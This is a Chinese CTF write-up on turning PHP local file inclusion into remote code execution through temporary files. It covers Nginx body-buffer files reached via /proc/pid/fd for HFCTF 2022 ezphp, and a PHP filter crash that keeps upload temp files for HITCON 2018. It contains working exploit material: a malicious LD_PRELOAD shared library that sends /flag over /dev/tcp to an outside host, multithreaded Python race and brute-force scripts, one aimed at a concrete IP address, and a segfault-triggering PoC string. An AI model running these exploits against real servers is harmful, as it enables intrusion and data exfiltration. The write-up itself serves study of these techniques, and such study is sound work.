
最近碰到许多文件包含漏洞的利用问题,稍稍总结一下最近碰到的几种利用LFI to RCE的姿势。
但其实基本上都是借助临时文件
Nginx缓存临时文件
环境
原理
Nginx 接收Fastcgi的过大响应 或 request body过大时会缓存临时文件
临时文件的生成
client_body_buffer_size:
Sets buffer size for reading client request body. In case the request body is larger than the buffer, the whole body or only its part is written to a temporary file. By default, buffer size is equal to two memory pages. This is 8K on x86, other 32-bit platforms, and x86-64. It is usually 16K on other 64-bit platforms.
设置用于读取客户端请求正文的缓冲区大小。如果请求正文大于缓冲区,则整个正文或仅其部分将写入临时文件。默认情况下,缓冲区大小等于两个内存页。这是 x86、其他 32 位平台和 x86-64 上的 8K。在其他 64 位平台上,它通常为 16K。
关于这个地方,我们可以去ngx_open_tempfile
看看Nginx生成临时文件的方式
ngx_fd_t
ngx_open_tempfile(u_char *name, ngx_uint_t persistent, ngx_uint_t access)
{
ngx_fd_t fd;
fd = open((const char *) name, O_CREAT|O_EXCL|O_RDWR,
access ? access : 0600);
if (fd != -1 && !persistent) {
(void) unlink((const char *) name);
}
return fd;
}
创建之后会马上删除这个文件,然后把这个文件的fd
返回出去。
那我们能不能利用条件竞争然后写入临时文件呢?很遗憾,很难。因为临时文件的文件名与Nginx的请求处理长度有关,随着请求处理的增长而增长, 且临时文件的文件名一般为/var/lib/nginx/body/000000xxxx
,一个十位向左填充0的数字。所以我们不但需要去爆破文件名,还要同时利用条件竞争保存临时文件,完成两个基本不可能。
模拟Nginx行为
我们可以用 c 简单复刻一个大概的 demo ,使用如下代码模拟 Nginx 对于临时文件处理的行为
贴一份大佬的代码:
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <error.h>
#include <unistd.h>
int main() {
puts("[+] test for open/unlink/write [+]\n");
int fd = open("test.txt", O_CREAT|O_EXCL|O_RDWR, 0600);
printf("open file with fd %d,try unlink\n",fd);
unlink("test.txt");
printf("unlink file, try write content\n");
if(write(fd, "<?php phpinfo();?>", 19) != 19)
{
printf("write file error!\n");
}
char buffer[0x10] = {0};
lseek(fd, 0,SEEK_SET);
int size = read(fd, buffer , 19);
printf("read size is %d\n",size);
printf("read buffer is %s\n",buffer);
while(1) {
sleep(10);
}
// close(fd);
return 0;
}
dr-x------ 2 root root 0 Mar 22 15:33 ./
dr-xr-xr-x 9 root root 0 Mar 22 15:33 ../
lrwx------ 1 root root 64 Mar 22 15:33 0 -> /dev/pts/0
lrwx------ 1 root root 64 Mar 22 15:33 1 -> /dev/pts/0
lrwx------ 1 root root 64 Mar 22 15:33 2 -> /dev/pts/0
lrwx------ 1 root root 64 Mar 22 15:33 3 -> /root/test/test (deleted)
可以看到,在对应进程的proc
目录下,存在对应的fd项目,且为一个软链接,连接到/root/test/test (deleted)
,表明该文件已被删除,但仍然可以继续写入并读出。对于软链接文件,PHP会尝试先对软链接进行解析,此时php还会产生临时文件,再将其打开。只要能找到对应的线程,竞争到proc
中的fd即可完成包含,就可以对我们发送的payload进行包含
总结起来整个过程就是:
- 让后端 php 请求一个过大的文件
- Fastcgi 返回响应包过大,导致 Nginx 产生临时文件进行缓存
- Nginx 删除了
/var/lib/nginx/body
下的临时文件,但是在 /proc/pid/fd/
下我们可以找到被删除的文件
- 遍历 pid 以及 fd ,使用多重链接绕过 PHP 包含策略完成 LFI
题目:HFCTF 2022 | ezphp
当时做一开始的时候想错了,以为是要用php-fpm来打system,然后利用P牛的payload直接打,结果发现不行。。。首先就是环境不对。然后参考了一下 hxpctf2021 的 update 和 includer’s revenge。
这样的话,只需要想办法写入so文件到Nginx缓存就可以了。
#include <stdlib.h>
#include <string.h>
__attribute__ ((constructor)) void call ()
{
unsetenv("LD_PRELOAD");
char str[65536];
system("bash -c 'cat /flag' > /dev/tcp/ip/port");
system("cat /flag > /var/www/html/flag");
}
生成.so文件
gcc test.c -fpIC -shared -o libsss.so
再通过python脚本,一直往服务器传写入.so文件,之后在URL后面访问flag,得到答案。
import requests
import threading
import multiprocessing
import threading
import random
URL = f'xxx.xxx.xxx.xxx'
nginx_workers = [12, 13, 14, 15]
done = False
# upload a big client body to force nginx to create a /var/lib/nginx/body/$X
def uploader():
while not done:
requests.get(URL, data=open("C:\\Users\\Desktop\\libsss.so", "rb").read() + (16*1024*'A').encode())
for _ in range(16):
t = threading.Thread(target=uploader)
t.start()
def bruter(pid):
global done
while not done:
print(f'[+] brute loop restarted: {pid}')
for fd in range(4, 32):
f = f'/proc/{pid}/fd/{fd}'
print(f)
try:
r = requests.get(URL, params={
'env': 'LD_PRELOAD='+f,
})
print(r.text)
except Exception:
pass
for pid in nginx_workers:
a = threading.Thread(target=bruter, args=(pid, ))
a.start()
完整的利用过程也可以用一份python脚本实现:
import requests
import threading
import multiprocessing
import threading
import random
SERVER = "http://120.79.121.132:20674"
NGINX_PIDS_CACHE = set([x for x in range(10,15)])
# Set the following to True to use the above set of PIDs instead of scanning:
USE_NGINX_PIDS_CACHE = True
def create_requests_session():
session = requests.Session()
# Create a large HTTP connection pool to make HTTP requests as fast as possible without TCP handshake overhead
adapter = requests.adapters.HTTPAdapter(pool_connections=1000, pool_maxsize=10000)
session.mount('http://', adapter)
return session
def get_nginx_pids(requests_session):
if USE_NGINX_PIDS_CACHE:
return NGINX_PIDS_CACHE
nginx_pids = set()
# Scan up to PID 200
for i in range(1, 200):
cmdline = requests_session.get(SERVER + f"/index.php?env=LD_PRELOAD%3D/proc/{i}/cmdline").text
if cmdline.startswith("nginx: worker process"):
nginx_pids.add(i)
return nginx_pids
def send_payload(requests_session, body_size=1024000):
try:
# The file path (/bla) doesn't need to exist - we simply need to upload a large body to Nginx and fail fast
payload = open("hack.so","rb").read()
requests_session.post(SERVER + "/index.php?action=read&file=/bla", data=(payload + (b"a" * (body_size - len(payload)))))
except:
pass
def send_payload_worker(requests_session):
while True:
send_payload(requests_session)
def send_payload_multiprocess(requests_session):
# Use all CPUs to send the payload as request body for Nginx
for _ in range(multiprocessing.cpu_count()):
p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,))
p.start()
def generate_random_path_prefix(nginx_pids):
# This method creates a path from random amount of ProcFS path components. A generated path will look like /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root
path = ""
component_num = random.randint(0, 10)
for _ in range(component_num):
pid = random.choice(nginx_pids)
if random.randint(0, 1) == 0:
path += f"/proc/{pid}/cwd"
else:
path += f"/proc/{pid}/root"
return path
def read_file(requests_session, nginx_pid, fd, nginx_pids):
nginx_pid_list = list(nginx_pids)
while True:
path = generate_random_path_prefix(nginx_pid_list)
path += f"/proc/{nginx_pid}/fd/{fd}"
try:
d = requests_session.get(SERVER + f"/index.php?env=LD_PRELOAD%3D{path}").text
except:
continue
# Flags are formatted as hxp{<flag>}
if "HFCTF" in d:
print("Found flag! ")
print(d)
def read_file_worker(requests_session, nginx_pid, nginx_pids):
# Scan Nginx FDs between 10 - 45 in a loop. Since files and sockets keep closing - it's very common for the request body FD to open within this range
for fd in range(10, 45):
thread = threading.Thread(target = read_file, args = (requests_session, nginx_pid, fd, nginx_pids))
thread.start()
def read_file_multiprocess(requests_session, nginx_pids):
for nginx_pid in nginx_pids:
p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids))
p.start()
if __name__ == "__main__":
print('[DEBUG] Creating requests session')
requests_session = create_requests_session()
print('[DEBUG] Getting Nginx pids')
nginx_pids = get_nginx_pids(requests_session)
print(f'[DEBUG] Nginx pids: {nginx_pids}')
print('[DEBUG] Starting payload sending')
send_payload_multiprocess(requests_session)
print('[DEBUG] Starting fd readers')
read_file_multiprocess(requests_session, nginx_pids)
Apache下PHP崩溃永久保留临时文件
CVE-2016-7125
5.6.25 之前的 PHP 和 7.0.10 之前的 7.x 中的 ext/session/session.c 以触发错误解析的方式跳过无效的会话名称,这允许远程攻击者通过控制会话来注入任意类型的会话数据名称。
原理
文件流保存
PHP在处理一个文件上传的请求数据包时,会将目标文件流保存到临时目录下,并且会以PHP+随机六位字符串
进行保存(php[0-9A-Za-z]{3,4,5,6}
),而一个文件流的处理有存活周期,在php运行的过程中,假如php非正常结束,比如崩溃,那么这个临时文件就会永久的保留。如果php正常的结束,并且该文件没有被移动到其它地方也没有被改名,则该文件将在表单请求结束时被删除。在这期间,一个临时文件存活时间大概有30s。
了解了处理机制,那我们如何去确定临时文件呢?最简单的是暴力破解,但是30s的时间来确定1/2176782336,emm...这个概率基本不可能。。。
除了在30s内确定临时文件以外,还有什么别的办法呢?前面说过,PHP崩溃把临时文件永久保留下来,既然这样的话,只要我们引起PHP崩溃我们就有足够的时间来进行爆破了。
题目:[HITCON CTF 2018]One Line PHP Challenge
直接上POC,我们对POC进行分析
php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA
已知POC是在data部分传入超大ascii码时,引起PHP崩溃。那么问题来了,PHP为什么会崩溃?是因为文件流太大吗?
PHP底层问题
具体问题分析可以看php-src/ext/standard/filters.c
,分析方法有点类似于之前从php底层去研究ini_set,可以去看这篇文章https://xz.aliyun.com/t/10893
case PHP_CONV_ERR_TOO_BIG: {
char *new_out_buf;
size_t new_out_buf_size;
new_out_buf_size = out_buf_size << 1;
//new_out_buf_size会比out_buf_size左移一位,但是如果out_buf_size本身就非常小,就无法进入下面的if循环
if (new_out_buf_size < out_buf_size) {
/* whoa! no bigger buckets are sold anywhere... */
if (NULL == (new_bucket = php_stream_bucket_new(stream, out_buf, (out_buf_size - ocnt), 1, persistent))) {
goto out_failure;
}//上面这个if不用考虑了,直接看下面。
php_stream_bucket_append(buckets_out, new_bucket);
out_buf_size = ocnt = initial_out_buf_size;
out_buf = pemalloc(out_buf_size, persistent);//如果不是内部字符串并且引用计数为1时,直接调用perealloc分配内存。
pd = out_buf;
} else {
new_out_buf = perealloc(out_buf, new_out_buf_size, persistent);
pd = new_out_buf + (pd - out_buf);
ocnt += (new_out_buf_size - out_buf_size);
out_buf = new_out_buf;
out_buf_size = new_out_buf_size;
}//当没有进入上面那个if,就会导致每次内存分配都会倍增,进而过大。
} break;
正常逻辑:
PHP_CONV_ERR_TOO_BIG
错误就代表out_buf_size
是个大数,通过左移能丢失最高位变成一个小数,从而进入if
分支goto跳出循环。
但是这里的问题是,err
为PHP_CONV_ERR_TOO_BIG
, out_buf_size
是个小数。
当我们输入的字符串中存在ascii大于126的字符,那么就会进入如下else
分支
else {
if (line_ccnt < 4) {
if (ocnt < inst->lbchars_len + 1) {
err = PHP_CONV_ERR_TOO_BIG;
break;
}
*(pd++) = '=';
ocnt--;
line_ccnt--;
memcpy(pd, inst->lbchars, inst->lbchars_len);
pd += inst->lbchars_len;
ocnt -= inst->lbchars_len;
line_ccnt = inst->line_len;
}
而在一开始,isnt
初始化,
case PHP_CONV_QPRINT_ENCODE: {
unsigned int line_len = 0;
char *lbchars = NULL;
size_t lbchars_len;
int opts = 0;
if (options != NULL) {
...
}
retval = pemalloc(sizeof(php_conv_qprint_encode), persistent);
if (lbchars != NULL) {
...
} else {
if (php_conv_qprint_encode_ctor((php_conv_qprint_encode *)retval, 0, NULL, 0, 0, opts, persistent)) {
goto out_failure;
}
}
} break;
然后lbchars_len
进行赋值
static php_conv_err_t php_conv_qprint_encode_ctor(php_conv_qprint_encode *inst, unsigned int line_len, const char *lbchars, size_t lbchars_len, int lbchars_dup, int opts, int persistent)
{
if (line_len < 4 && lbchars != NULL) {
return PHP_CONV_ERR_TOO_BIG;
}
inst->_super.convert_op = (php_conv_convert_func) php_conv_qprint_encode_convert;
inst->_super.dtor = (php_conv_dtor_func) php_conv_qprint_encode_dtor;
inst->line_ccnt = line_len;
inst->line_len = line_len;
if (lbchars != NULL) {
inst->lbchars = (lbchars_dup ? pestrdup(lbchars, persistent) : lbchars);
inst->lbchars_len = lbchars_len;
} else {
inst->lbchars = NULL;
}
inst->lbchars_dup = lbchars_dup;
inst->persistent = persistent;
inst->opts = opts;
inst->lb_cnt = inst->lb_ptr = 0;
return PHP_CONV_ERR_SUCCESS;
}
可以看出,因为我们使用php://
没有对convert.quoted-printable-encode
附加options
, 所以这里的options
就是NULL
,一直到了else
分支, 我们可以看到传的参数为(php_conv_qprint_encode *)retval, 0, NULL, 0, 0, opts, persistent)
因此,lbchars
为NULL
,导致lbchars_len
没有被赋值,所以inst->lbchars_len
变量未初始化调用。
根据定义,我们知道lbchars_len
长度为8bytes
,通过调整附加data
的长度,会有一些request报文头的8bytes
被存储到inst->lbchars_len
} else {
if (line_ccnt < 4) {
if (ocnt < inst->lbchars_len + 1) {
err = PHP_CONV_ERR_TOO_BIG;//BUG的成因
break;
}
*(pd++) = '=';
ocnt--;
line_ccnt--;
memcpy(pd, inst->lbchars, inst->lbchars_len);
pd += inst->lbchars_len;
ocnt -= inst->lbchars_len;
line_ccnt = inst->line_len;
}
if (ocnt < 3) {
err = PHP_CONV_ERR_TOO_BIG;
break;
}
*(pd++) = '=';
*(pd++) = qp_digits[(c >> 4)];
*(pd++) = qp_digits[(c & 0x0f)];
ocnt -= 3;
line_ccnt -= 3;
if (trail_ws > 0) {
trail_ws--;
}
CONSUME_CHAR(ps, icnt, lb_ptr, lb_cnt);
}
可以发现memcpy
的位置第二个参数是NULL
,第一个,第三个参数可控,如果被调用,会导致一个segfault
,从而在tmp
下驻留文件,但是我们无法使用%00
,如何让ocnt < inst->lbchars_len + 1
不成立呢?(ocnt
为data的长度),这里就要利用整数溢出,将lbchars_len + 1
溢出到0。这样我们就可以控制inst->lbchars_len
的值了,但是因为php://
的resource
内容不能包含\x00
,所以只能构造\x01
-\xff
的内容。
综上分析:
inst->lbchars_len
可控且存在整数溢出
inst->lbchars_len
变量未初始化调用
所以我们的POC才会引起PHP崩溃
影响测试
直接用我们的POC测试漏洞影响版本。
<?php
file(urldecode('php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAFAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA'));
?>
借助了docker测试,经过实测,PHP<7.4 & PHP<5.6.25 两种条件下都可实现PHP崩溃
-
PHP-7.1.3

-
PHP-5.6.28
当前版本下不会引起PHP崩溃
